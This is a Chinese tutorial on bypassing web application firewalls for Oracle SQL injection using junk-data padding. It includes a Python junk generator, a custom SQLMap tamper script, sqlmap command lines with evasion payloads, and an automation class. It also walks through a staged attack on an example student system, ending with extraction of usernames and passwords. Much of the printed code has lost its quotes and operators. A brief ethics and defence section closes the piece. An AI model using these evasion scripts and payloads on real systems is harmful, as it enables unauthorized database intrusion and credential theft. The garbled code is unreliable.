给SQLMap加个‘Buff’手把手教你用Python脚本绕过WAF进行Oracle注入测试在安全测试领域WAFWeb应用防火墙就像一道坚固的城墙常常让传统的SQL注入测试工具无功而返。特别是面对Oracle这类企业级数据库时商业WAF的规则往往更加严格。本文将分享一种实用的垃圾数据填充绕过技术通过Python脚本与SQLMap的巧妙配合实现对WAF防护的有效突破。1. WAF绕过原理与技术选型商业WAF通常采用多层检测机制包括正则匹配、语法分析和行为监控。其中最常见的拦截点是对SQL关键字的识别和对异常请求长度的限制。而垃圾数据填充技术的核心思想就是通过插入大量无意义的随机字符干扰WAF的解析引擎同时保持原始注入语句的功能完整性。这种方法特别适合Oracle环境原因有三Oracle的SQL语法相对灵活对冗余字符的容忍度较高Oracle的注释语法--和/* */可以巧妙利用来分隔垃圾数据Oracle的字符串连接特性||可以帮助绕过逗号限制与传统的编码绕过、注释拆分等技术相比垃圾数据填充具有以下优势绕过技术实现难度通用性WAF更新影响字符编码中等较低易被规则覆盖注释拆分简单中等部分有效垃圾填充复杂高持久有效注意实际测试中发现当填充数据超过8KB时某些WAF会直接放行请求这与其性能优化策略有关。2. Python垃圾数据生成器实现下面是一个增强版的垃圾数据生成脚本不仅包含基础功能还针对Oracle环境做了特殊优化import random import urllib.parse def generate_junk(length10000, oracle_optimizedTrue): # 基础字符集排除可能影响URL和SQL解析的特殊字符 chars [chr(i) for i in range(33, 127)] exclude {#, *, %, , , \\} safe_chars [c for c in chars if c not in exclude] junk [] for _ in range(length): char random.choice(safe_chars) # Oracle优化随机插入注释和空白符增强绕过效果 if oracle_optimized and random.random() 0.1: junk.append(random.choice([--, /*])) junk.append( * random.randint(1, 5)) junk.append(char) # 对关键位置进行URL编码 encoded_junk urllib.parse.quote(.join(junk)) return encoded_junk if __name__ __main__: print(generate_junk(15000))这个脚本的改进点包括动态注释插入随机在垃圾数据中插入SQL注释符号进一步干扰WAF解析智能空白符在注释后添加随机长度的空格模拟自然SQL格式URL安全编码自动处理可能破坏HTTP请求的特殊字符Oracle特调通过参数可切换Oracle优化模式实际使用时建议将生成的数据放在以下位置效果最佳HTTP头部字段如X-Forwarded-ForURL参数值的起始位置POST数据的非关键字段3. 与SQLMap的深度集成技巧单纯生成垃圾数据只是第一步关键在于如何与SQLMap无缝配合。以下是经过实战检验的集成方案3.1 注入点标记与参数处理Oracle环境下常见的几个问题及解决方案逗号失效问题当WAF或应用层过滤逗号时可以使用以下替代方案-- 传统方式 SELECT 1,2,3 FROM dual -- 替代方案 SELECT * FROM (SELECT 1 a, 2 b, 3 c FROM dual)等号过滤使用LIKE或IN替代-- 传统方式 WHERE id1 -- 替代方案 WHERE id LIKE 1 WHERE id IN (1)3.2 SQLMap联动配置创建自定义的SQLMap tamper脚本oracle_junk.py#!/usr/bin/env python import random from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage __priority__ PRIORITY.NORMAL def dependencies(): singleTimeWarnMessage(This tamper script works best with Oracle databases) def tamper(payload, **kwargs): junk_prefix generate_junk(5000) junk_suffix generate_junk(5000) # 保留原始注入点标记(*) if * in payload: parts payload.split(*) return f{junk_prefix}{parts[0]}*{parts[1]}{junk_suffix} return f{junk_prefix}{payload}{junk_suffix}使用时配合以下参数sqlmap -r request.txt --tamperoracle_junk --dbmsoracle --prefix||( --suffix)||3.3 结果解析与误报处理由于垃圾数据可能影响响应内容建议添加以下处理使用--string或--regexp指定成功响应的特征设置--time-sec5延长超时时间启用--fresh-queries避免缓存干扰典型问题排查流程开启详细日志-v 6检查HTTP请求是否包含完整垃圾数据验证响应是否被WAF拦截调整垃圾数据长度和位置4. 复杂业务场景实战案例以学生管理系统为例演示完整测试流程4.1 环境准备与初步探测使用Rad收集所有接口rad -t https://student.example.com -o urls.txt筛选关键接口特征# filter.py with open(urls.txt) as f: urls [line.strip() for line in f if /api/ in line and any(kw in line for kw in [query, get, search])]构造基础测试请求POST /api/student/search HTTP/1.1 X-Junk-Data: {generated_junk} Content-Type: application/json {name:test AND 11--}4.2 分阶段注入测试阶段一确认注入点sqlmap -r request.txt -p name --risk3 --level5 --tamperoracle_junk --dbmsoracle --techniqueE --dbs阶段二处理特殊过滤当遇到括号被转义的情况时修改tamper脚本def tamper(payload, **kwargs): # 将括号转换为Oracle等效表达式 payload payload.replace((, CHR(40)).replace(), CHR(41)) # 其余处理逻辑不变 ...阶段三数据提取优化对于大数据量提取使用分块查询-- 传统方式可能被拦截 SELECT username,password FROM users -- 优化方式 SELECT * FROM ( SELECT username, ROWNUM r FROM users ) WHERE r BETWEEN 1 AND 1004.3 自动化脚本集成最终自动化脚本框架import subprocess import json class OracleInjector: def __init__(self, target_url): self.junk generate_junk(10000) self.target target_url def run_sqlmap(self, params): cmd [ sqlmap, -u, self.target, --random-agent, --tamperoracle_junk, --dbmsoracle, --flush-session, *params ] process subprocess.run(cmd, capture_outputTrue) return self.parse_results(process.stdout) def parse_results(self, output): # 实现结果解析逻辑 ... def test_injection(self): results [] tests [ (Boolean-based, --techniqueB), (Time-based, --techniqueT), (Error-based, --techniqueE) ] for name, param in tests: result self.run_sqlmap([param, --dbs]) results.append((name, result)) return results5. 防御对策与测试伦理虽然本文聚焦于攻击技术但作为安全研究人员必须牢记始终获取书面授权后再进行测试测试数据限制在必要最小范围发现漏洞后及时报告并协助修复测试完成后彻底清理测试数据对于防御方建议采取以下措施实施参数化查询和ORM框架对输入输出进行严格类型检查部署多层WAF策略正则语义行为定期更新WAF规则库监控异常请求模式如大量随机字符在一次实际项目中我们发现当垃圾数据超过15KB时某些WAF的性能监控系统会将其标记为DDoS攻击而直接阻断这反而导致正常业务请求被影响。这种副作用提醒我们任何安全测试都要考虑对业务连续性的潜在影响。